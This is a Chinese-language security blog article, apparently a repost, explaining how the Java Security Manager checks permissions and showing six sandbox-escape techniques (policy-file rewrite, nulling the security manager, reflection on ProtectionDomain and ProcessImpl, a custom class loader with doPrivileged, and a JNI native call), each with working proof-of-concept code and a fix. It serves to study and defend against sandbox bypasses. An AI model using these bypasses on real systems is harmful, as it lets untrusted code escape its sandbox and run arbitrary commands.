java沙箱绕过
0x00 前言
最近两年CTF比赛中出现了Python沙箱绕过，关于Python沙盒的文章比较多，其实Java也有沙箱。而恰好笔者在做安全测试的时候遇到了Java沙箱，于是研究了一下Java沙箱的绕过。虽然Java不像PHP和python那么灵活，但是Java沙箱能玩的地方还是挺多的。
文章脑图如下， 配合食用效果更佳 。有错误或者疏漏的地方请各位指出，欢迎联系 c0d3p1ut0s@gmail.com 。
0x01 Java沙箱
Java沙箱由以下部分组成：
- 类加载器结构（例如命名空间）
- class文件校验器
- 内置于Java虚拟机（和Java语言）的安全特性（例如对指针操作的屏蔽等）
- Java安全管理器（Java Security Manager）和Java API组成
前三个基本都是 内置 实现在JVM和Java语言中的，只有Java安全管理器（Java Security Manager）是能被开发者控制的，用来保护系统不被JVM中恶意的代码破坏的。这样， 绕过java沙箱其实就转化成绕过java security manager 。
Java Security Manager的一个典型应用场景是jvm需要加载运行一段代码，但是这段代码是不可信的，例如来自用户的输入、上传、反序列化指定的bytecode或者来自网络远程加载，这种情况下，需要防止不可信来源的恶意代码对系统造成破坏。其实这就是沙箱的应用场景。
0x02 Java Security Manager介绍
在java后面加一个参数即可打开Java Security Manager，
-Djava.security.manager
java提供了默认的Java Security Manager实现类，如果你想自定义自己的实现，可以在java.security.manager加等号指定。例如：
java -Djava.security.manager=net.sourceforge.prograde.sm.ProGradeJSM
这样就指定了net.sourceforge.prograde.sm.ProGradeJSM作为实现，在绝大多数情况下，我们都使用原生的实现，一些第三方实现也只是扩展了策略文件的功能而已，那么什么是策略文件呢？
策略(policy)文件是一个配置文件，指定了哪些类有哪些权限。指定策略文件的命令如下：
java -Djava.security.manager -Djava.security.policy=./security.policy -jar a.jar
一般我们需要指定哪些类有哪些权限，编辑policy文件就可以了。
上面说了，policy文件的作用是指定哪些类有哪些权限。policy怎么指定这些类的呢？指定类名吗？并不是，policy文件根据 类的url和类的签名 来确定类，指定权限，例如：
grant signedBy "Duke" {
permission java.io.FilePermission "/tmp/*", "read,write";
};
grant codeBase "file:/home/sysadmin/*" {
permission java.security.SecurityPermission "Security.insertProvider.*";
permission java.security.SecurityPermission "Security.removeProvider.*";
permission java.security.SecurityPermission "Security.setProperty.*";
};
policy文件的具体语法参看 这里 。
根据java的设计，一个类的url和签名组成了这个类的CodeSource，根据policy文件的配置，一个CodeSource有一定的权限。一个类的CodeSource和它的权限构成了这个类的ProtectionDomain。如下图
一个类的ProtectionDomain在这个类加载的时候初始化，在java.lang.ClassLoader中：
@Deprecated
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}
这里调用了defineClass(null, b, off, len, null)，最后一个参数null是ProtectionDomain的值，这个函数的实现如下：
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
protectionDomain = preDefineClass(name, protectionDomain);//初始化这个类的ProtectionDomain
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}
一个类的ProtectionDomain我们已经搞清楚了，那么ProtectionDomain有什么用？Java Security Manager是怎么做安全监测的呢？
当调用一个需要权限的类时，例如读写文件、执行命令、开关socket等。这个类会调用SecurityManager.checkXXX()，如果SecurityManager判定有权限，这个方法会默默返回，否则抛出安全异常。以读文件FileInputStream为例
public FileInputStream(File file) throws FileNotFoundException {
String name = (file != null ? file.getPath() : null);
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkRead(name);//权限检查
}
if (name == null) {
throw new NullPointerException();
}
if (file.isInvalid()) {
throw new FileNotFoundException("Invalid file path");
}
fd = new FileDescriptor();
fd.attach(this);
path = name;
open(name);
}
读文件是SecurityManager.checkRead方法，写文件是SecurityManager.checkWrite方法，这些checkXXX方法最后都会调用SecurityManager.checkPermission方法，调用链如下图所示。
SecurityManager.checkXXX()
|
V
·······
|
V
SecurityManager.checkPermission()
| 在默认的Security Manager实现中
V
AccessController.checkPermission()
如上图，在默认的Security Manager实现中，真正的检查权限这个操作是由AccessController.checkPermission()这个方法实现的。下面我们来看看权限是怎么检查的。
当AccessController.checkPermission()被调用时，AccessController会自顶向下遍历当前栈（入栈到栈顶），栈由栈帧组成，每一个栈帧都是一个方法调用形成的，每个方法都属于一个类，每个类都有一个ProtectionDomain，则一个栈帧对应一个ProtectionDomain。AccessController遍历栈帧，如果某个栈帧对应的ProtectionDomain没有check的权限，则抛出异常。
同时，为了解决某些问题，AccessController还提供了doPrivilege方法，当这个方法被调用时，AccessController亦会自顶向下遍历当前栈，不过只会遍历到调用doPrivileged方法的栈帧就会停止。例如Main.main调用Class1.fun1()，Class1.fun1()调用了doPrivileged方法，在doPrivileged方法中进行了一些操作，AccessController的检查只会遍历到Class1.fun1()，看Class1是否有权限。
很明显，doPrivileged是非常危险的，因为它截断了AccessController的检查。之前Java Security Manager出过的几次漏洞都跟jdk类库不当调用doPrivileged方法，而doPrivileged方法中执行的操作能被用户代码控制有关。因为默认情况下，jdk类库是有所有权限的，即使调用jdk的用户代码没有权限，AccessController也不会再向下检查了。
0x03 Java Security Manager的绕过
在某些情况下，赋予某些权限时，恶意代码可以利用这些权限，导致Java Security Manager完全失效。下面我们看看一些实例
单等号+home目录可写导致Java Security Manager绕过
jre/lib/security/java.security是java中指定安全配置文件，在配置文件中指定了两个默认的policy文件：
# The default is to have a single system-wide policy file,
# and a policy file in the user's home directory.
policy.url.1=file:${java.home}/lib/security/java.policy
policy.url.2=file:${user.home}/.java.policy
而通过 -Djava.security.policy 指定policy文件时，如果参数后面是一个等号，例如 -Djava.security.policy=java.policy ，java.policy会加在上面的两个policy文件之后。在默认情况下，家目录下没有.java.policy这个文件，如果家目录可写，则恶意代码可以通过写.java.policy文件，授予自己更多的权限来绕过Java Security Manager。如下图所示，policy文件没有赋予文件的执行权限，却执行calc成功，成功绕过java security manager机制，逃逸沙箱。
java.policy:
grant {
permission java.io.FilePermission "C:/Users/Administrator/-", "read,write";
};
exp代码： https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/rewrite-home-policy
修复方法： -Djava.security.policy==java.policy ，用双等于号指定policy文件。
通过setSecurityManager绕过Java Security Manager
java security manager不仅能通过参数 -Djava.security.policy==java.policy 指定，还可以在运行时通过 System.setSecurityManager() 方法指定。如果被授予setSecurityManager权限，恶意代码可以在运行时调用setSecurityManager方法，将java security manager置为null，绕过Java Security Manager。
java.policy如下
grant {
permission java.lang.RuntimePermission "setSecurityManager";
};
绕过poc
System.setSecurityManager(null);
如下图所示，同样policy文件没有赋予文件的执行权限，却执行calc成功，成功绕过java security manager机制，逃逸沙箱。
java.policy:
grant {
permission java.lang.RuntimePermission "setSecurityManager";
};
exp代码： https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/set-security-manager
修复方法：不授予不可信的代码setSecurityManager权限。
通过反射绕过Java Security Manager
如果读者跟了上面的 System.setSecurityManager 这个方法的话，可以看到这个方法最后直接把参数直接赋予了System类中的security变量。
private static synchronized
void setSecurityManager0(final SecurityManager s) {
SecurityManager sm = getSecurityManager();
if (sm != null) {
// ask the currently installed security manager if we
// can replace it.
sm.checkPermission(new RuntimePermission
("setSecurityManager"));
}
if ((s != null) && (s.getClass().getClassLoader() != null)) {
// New security manager class is not on bootstrap classpath.
// Cause policy to get initialized before we install the new
// security manager, in order to prevent infinite loops when
// trying to initialize the policy (which usually involves
// accessing some security and/or system properties, which in turn
// calls the installed security manager's checkPermission method
// which will loop infinitely if there is a non-system class
// (in this case: the new security manager class) on the stack).
AccessController.doPrivileged(new PrivilegedAction<Object>() {
public Object run() {
s.getClass().getProtectionDomain().implies
(SecurityConstants.ALL_PERMISSION);
return null;
}
});
}
security = s;//赋值在这里~
}
如果被赋予了反射权限，那么是否能通过反射直接把security置为null，使java security manager失效呢？我们试验一下：
java.policy如下
grant {
permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessDeclaredMembers";
};
反射代码
public static void setSecurityByReflection(){
try {
Class clz = Class.forName("java.lang.System");
Field field=clz.getDeclaredField("security");
field.setAccessible(true);
field.set(System.class,null);
}catch (Exception e){
e.printStackTrace();
}
}
竟然报异常
java.lang.NoSuchFieldException: security
at java.lang.Class.getDeclaredField(Class.java:2070)
at evil.Poc.setSecurityByReflection(Poc.java:35)
at evil.Poc.main(Poc.java:16)
不科学啊，反复试了几次，发现java.lang.System中其他变量都可以反射，就security变量不行。（这个坑调试了一下午=_=||）
不死心，跟了一下getDeclaredField方法，发现在sun.reflect.Reflection中定义了一个fieldFilterMap，指定了几个禁止反射的变量。
static {
HashMap var0 = new HashMap();
var0.put(Reflection.class, new String[]{"fieldFilterMap", "methodFilterMap"});
var0.put(System.class, new String[]{"security"});
var0.put(Class.class, new String[]{"classLoader"});
fieldFilterMap = var0;
methodFilterMap = new HashMap();
}
其中就包括System.class中的security变量以及fieldFilterMap本身。在getDeclaredField中，调用了过滤fields的方法，过滤了这些变量。
public static Field[] filterFields(Class<?> var0, Field[] var1) {
return fieldFilterMap == null?var1:(Field[])((Field[])filter(var1, (String[])fieldFilterMap.get(var0)));
}
看来，通过反射直接修改security是不行的了。这游戏真难。
然而，java的反射何其强大，既然负责检查的检察官java security manager不可修改，那我就修改你检查的材料—ProtectionDomain。于是我看了一下ProtectionDomain类：
java.security.ProtectionDomain
public class ProtectionDomain {
//.....省略部分代码
static {
// Set up JavaSecurityAccess in SharedSecrets
SharedSecrets.setJavaSecurityAccess(new JavaSecurityAccessImpl());
}
/* CodeSource */
private CodeSource codesource ;
/* ClassLoader the protection domain was consed from */
private ClassLoader classloader;
/* Principals running-as within this protection domain */
private Principal[] principals;
/* the rights this protection domain is granted */
private PermissionCollection permissions;
/* if the permissions object has AllPermission */
private boolean hasAllPerm = false;
/* the PermissionCollection is static (pre 1.4 constructor)
or dynamic (via a policy refresh) */
private boolean staticPermissions;
//.....省略部分代码
如前面所说，一个类的CodeSource和permissions构成了这个类的ProtectionDomain，亦可通过这里来验证。仔细看一遍，发现hasAllPerm可能是个软柿子，应该是一个标记这个类是否有所有权限的布尔变量。利用反射，把它置为true应当可以使当前类获取所有权限。
但是AccessController会沿着栈自顶向下检查，必须所有栈帧都有权限才能通过。不慌，那我们也遍历所有栈帧，将所有栈帧中的所有类的ProtectionDomain中的hasAllPerm置为true。代码如下：
public static void setHasAllPerm(){
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
//遍历栈帧
for (StackTraceElement stackTraceElement : stackTraceElements) {
try {
//反射当前栈帧中的类
Class clz = Class.forName(stackTraceElement.getClassName());
Field field = clz.getProtectionDomain().getClass().getDeclaredField("hasAllPerm");
//压制java的访问检查
field.setAccessible(true);
//把hasAllPerm置为true
field.set(clz.getProtectionDomain(), true);
}catch (Exception e){
e.printStackTrace();
}
}
exec("calc");
}
运行一下，又抛出了异常
java.security.AccessControlException: access denied ("java.lang.RuntimePermission" "getProtectionDomain")
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:472)
at java.security.AccessController.checkPermission(AccessController.java:884)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:549)
at java.lang.Class.getProtectionDomain(Class.java:2299)
at evil.Poc.setHasAllPerm(Poc.java:43)
at evil.Poc.main(Poc.java:19)
没有getProtectionDomain的权限。我们看看getProtectionDomain的实现：
public java.security.ProtectionDomain getProtectionDomain() {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
//在这里检查权限
sm.checkPermission(SecurityConstants.GET_PD_PERMISSION);
}
//调用native方法获取ProtectionDomain
java.security.ProtectionDomain pd = getProtectionDomain0();
if (pd == null) {
if (allPermDomain == null) {
java.security.Permissions perms =
new java.security.Permissions();
perms.add(SecurityConstants.ALL_PERMISSION);
allPermDomain =
new java.security.ProtectionDomain(null, perms);
}
pd = allPermDomain;
}
return pd;
}
private native java.security.ProtectionDomain getProtectionDomain0();
getProtectionDomain方法中，先检查了权限，然后再调用私有的原生方法getProtectionDomain0来完成getProtectionDomain。那么我们完全可以通过反射直接运行getProtectionDomain0方法，从而绕过对getProtectionDomain方法的权限检查。代码如下：
public static void setHasAllPerm0(){
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
//遍历栈帧
for (StackTraceElement stackTraceElement : stackTraceElements) {
try {
Class clz=Class.forName(stackTraceElement.getClassName());
//利用反射调用getProtectionDomain0方法
Method getProtectionDomain=clz.getClass().getDeclaredMethod("getProtectionDomain0",null);
getProtectionDomain.setAccessible(true);
ProtectionDomain pd=(ProtectionDomain) getProtectionDomain.invoke(clz);
if(pd!=null){
Field field=pd.getClass().getDeclaredField("hasAllPerm");
field.setAccessible(true);
field.set(pd,true);
}
}catch (Exception e){
e.printStackTrace();
}
}
exec("calc");
}
运行，如下图所示，同样policy文件没有赋予文件的执行权限，却执行calc成功，成功绕过java security manager机制，逃逸沙箱。
java.policy:
grant {
permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessDeclaredMembers";
};
exp地址： https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/bypass-by-reflection
修复方法：不授予accessDeclaredMembers权限和suppressAccessChecks权限。
然而在java中，反射是一个非常常见的操作，如果由于业务需要，无法禁用反射，可以设置禁止反射的方法和变量的黑名单。还记得上面无法反射System类中security的原因吗？在sun.reflect.Reflection中定义了静态的methodFilterMap和fieldMethodMap，在这里面的方法和变量禁止反射。sun.reflect.Reflection还提供了几个方法，可以往methodFilterMap和fieldMethodMap中添加自定义的黑名单。代码如下：
public static synchronized void registerFieldsToFilter(Class<?> var0, String... var1) {
fieldFilterMap = registerFilter(fieldFilterMap, var0, var1);
}
public static synchronized void registerMethodsToFilter(Class<?> var0, String... var1) {
methodFilterMap = registerFilter(methodFilterMap, var0, var1);
}
这样，只需要在加载恶意代码之前，把禁止反射的黑名单加入这两个map即可。
使用这种方式时，需要注意，有些方法的实现是，在public方法里面调用security manager检查权限，然后调用一个protect或者private方法实现功能。这样，攻击者可以直接反射实现功能的方法，绕过security manager的检查。例如平时我们调用 Runtime.getRuntime().exec(command) ，调用链如下：
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
这里执行命令的功能是调用ProcessBuilder实现的。我们跟进去看一下start方法：
public Process start() throws IOException {
//省略部分代码
SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkExec(prog);
//在这里检查了是否有执行命令的权限
//省略部分代码
try {
return ProcessImpl.start(cmdarray,
environment,
dir,
redirects,
redirectErrorStream);
}
//最后调用ProcessImpl.start实现这个功能。
//省略部分代码
}
从代码中我们看到，正如前面所说，完成功能的是ProcessImpl.start方法，而在这个方法调用之前，security manager就已经完成了检测，于是，反射这个方法，调用它，就可以绕过检测。代码如下
public static void executeCommandWithReflection(String command){
try {
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(clz,new String[]{command},null,null,null,false);
}catch (Exception e){
e.printStackTrace();
}
}
创建类加载器绕过java security manager
如前面所说，一个类的ProtectionDomain在这个类被类加载器加载时初始化，如果我们能自定义一个类加载器，加载一个恶意类，并且把它的ProtectionDomain里面的权限初始化成所有权限，这个恶意类不就可以有所有权限了吗？即便如此，这个恶意类被调用时，它仅仅是栈中的一个栈帧，在它下面的栈帧对应的权限仍是policy文件指定的权限。
这个时候就是doPrivileged发挥作用的时候了，如上面所说，AccessController会自顶向下遍历栈帧，如果遍历到doPrivileged，它会检查到调用doPrivileged方法的栈帧为止。只要我们在恶意类中调用doPrivileged方法，AccessController只会向下遍历检查到恶意类所在的栈帧，而恶意类对应的权限是所有权限，这样就可以绕过Java Security Manager。
java.policy如下，这里需要读class文件，所以需要读文件权限
grant{
permission java.lang.RuntimePermission "createClassLoader";
permission java.io.FilePermission "<<ALL FILES>>", "read";
};
恶意类：com.evil.EvilClass
public class EvilClass {
static{
//在doPrivileged中执行恶意操作
AccessController.doPrivileged(new PrivilegedAction() {
@Override
public Object run() {
try {
Process process = Runtime.getRuntime().exec("calc");
return null;
}catch (Exception e){
e.printStackTrace();
return null;
}
}
});
}
}
自定义类加载器：
public class MyClassLoader extends ClassLoader
{
//.....省略部分代码
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException
{
File file = getClassFile(name);
try
{
//获取byte数组的字节码
byte[] bytes = getClassBytes(file);
//这里没有调用父类的defineClass方法，而是调用了下面的defineClazz方法。
Class<?> c = defineClazz(name, bytes, 0, bytes.length);
return c;
}
catch (Exception e)
{
e.printStackTrace();
}
return super.findClass(name);
}
//在这个自定义的defineClazz方法中
protected final Class<?> defineClazz(String name, byte[] b, int off, int len)
throws ClassFormatError
{
try {
PermissionCollection pc=ClassLoader.class.getProtectionDomain().getPermissions();
//赋予ClassLoader类的权限，其实就是所有权限
ProtectionDomain pd=new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
pc, this, null);
//调用父类的defineClass完成功能
return this.defineClass(name, b, off, len, pd);
}catch (Exception e){
return null;
}
}
//.....省略部分代码
}
在findClass方法中，我们并没有直接调用父类的defineClass方法，因为在父类的defineClass方法中：
java.lang.ClassLoader line639
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
//最后一个参数是传入的ProtectionDomain
//这个函数的实现抄录在下面
return defineClass(name, b, off, len, null);
}
跟一下defineClass
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
//preDefineClass的实现在下面
protectionDomain = preDefineClass(name, protectionDomain);
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}
跟一下preDefineClass
private ProtectionDomain preDefineClass(String name,
ProtectionDomain pd)
{
if (!checkName(name))
throw new NoClassDefFoundError("IllegalName: " + name);
// Note: Checking logic in java.lang.invoke.MemberName.checkForTypeAlias
// relies on the fact that spoofing is impossible if a class has a name
// of the form "java.*"
if ((name != null) && name.startsWith("java.")) {
throw new SecurityException
("Prohibited package name: " +
name.substring(0, name.lastIndexOf('.')));
}
if (pd == null) {
pd = defaultDomain;
}
if (name != null) checkCerts(name, pd.getCodeSource());
return pd;
}
传入的默认ProtectionDomain是null。我们调用了defineClazz方法，赋予了加载的类所有的权限，然后传入defineClass方法，完成类加载过程。如下图所示，同样policy文件没有赋予文件的执行权限，却执行calc成功，成功绕过java security manager机制，逃逸沙箱。
java.policy:
grant{
permission java.lang.RuntimePermission "createClassLoader";
permission java.io.FilePermission "<<ALL FILES>>", "read";
};
exp地址： https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/bypass-by-createclassloader
修复方法：禁止createClassLoader
本地方法调用绕过Java Security Manager
Java Security Manager是在java核心库中的一个功能，而java中native方法是由jvm执行的，不受java security manager管控。因此，我们可以调用java native方法，绕过java security manager。
java.policy
grant{
permission java.lang.RuntimePermission "loadLibrary.*";
permission java.io.FilePermission "/root/-", "read";
};
声明一个native方法：
package com.evil;
public class EvilMethodClass {
//加载动态链接库
static {
System.load("/root/libEvilMethodClass.so");
}
//声明一个native方法
public static native String evilMethod(String name);
}
生成.h头
javac src/com/evil/EvilMethodClass.java -d ./bin javah -jni -classpath ./bin -d ./jni com.evil.EvilMethodClass javah -jni -classpath ./bin -o EvilMethodClass.h com.evil.EvilMethodClass
新建EvilMethodClass.c
#include "com_evil_EvilMethodClass.h"
#include<stdlib.h>
#ifdef __cplusplus
extern "C"
{
#endif
JNIEXPORT jstring JNICALL Java_com_evil_EvilMethodClass_evilMethod(
JNIEnv *env, jclass cls, jstring j_str)
{
const char *c_str = NULL;
char buff[128] = { 0 };
c_str = (*env)->GetStringUTFChars(env, j_str, NULL);
if (c_str == NULL)
{
printf("out of memory.n");
return NULL;
}
//在这里执行系统命令
system(c_str);
(*env)->ReleaseStringUTFChars(env, j_str, c_str);
return (*env)->NewStringUTF(env, buff);
}
#ifdef __cplusplus
}
#endif
编译，生成动态链接库
gcc -I$JAVA_HOME/include -I$JAVA_HOME/include/linux -fPIC -shared EvilMethodClass.c -o libEvilMethodClass.so
放到/root/目录下
Poc.java
public class Poc {
public static void main(String[] args){
EvilMethodClass.evilMethod("whoami");
}
}
我编译了Linux下的so，如下图所示，同样policy文件没有赋予文件的执行权限，却执行whoami成功，成功绕过java security manager机制，逃逸沙箱。
exp如下： https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/invoke-native-method
修复方案：不授予loadLibrary权限
0x04 第三方java security manager的安全性
从上面的绕过方法来看，在给不可信的代码授予权限时需要非常谨慎，有些权限一旦授予，就可能导致整个java security manager体系的绕过。
默认java security manager的policy是白名单模式的，也就是说，只有在policy文件出现的权限才是被授予的。而有些第三方的java security manager支持黑名单模式，这样更加危险。例如 pro-grade ，它支持黑名单模式，实现了deny语法。这意味着如果没有把上面提到的这些危险的权限禁止的话，绕过java security manager将会是非常容易的。
0x05 Reference
- https://docs.oracle.com/javase/8/docs/api/java/lang/SecurityManager.html
- https://docs.oracle.com/javase/8/docs/api/java/lang/RuntimePermission.html
- https://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html
这篇文章中使用的绕过的代码都已上传到 github 。
审核人：yiwang 编辑：边边
正文到此结束
- 本文标签： Collection stream 文件权限 mail find 调试 空间 final python 类加载器 PHP db tar 开发者 代码 开发 ACE IO synchronized rewrite cmd UI GitHub 参数 http ORM 字节码 java classpath js 配置 API 实例 ask constant JVM rmi 测试 https map 管理 DOM src Action HashMap 目录 编译 git 安全 漏洞 遍历 lib Property id linux ssl struct cat Bootstrap HTML build Security Master root ip Oracle IDE CTO provider 文章
- 版权声明： 本文为互联网转载文章，出处已在文章中说明(部分除外)。如果侵权，请联系本站长删除，谢谢。
- 本文海报： 生成海报一 生成海报二
热门推荐
相关文章
近期评论
-
666
-
文章和留言都翻到11页了 没有OOM
-
-
朋友，翻页到11页，及以后，会出现OOM，无法访问
-
-
-
-
版本号是多少，你可以下载哪个代码仓库，jdk选1.8 直接跑就行
-
-
Loading...
![[HBLOG]公众号](https://www.liuhaihua.cn/img/qrcode_gzh.jpg)
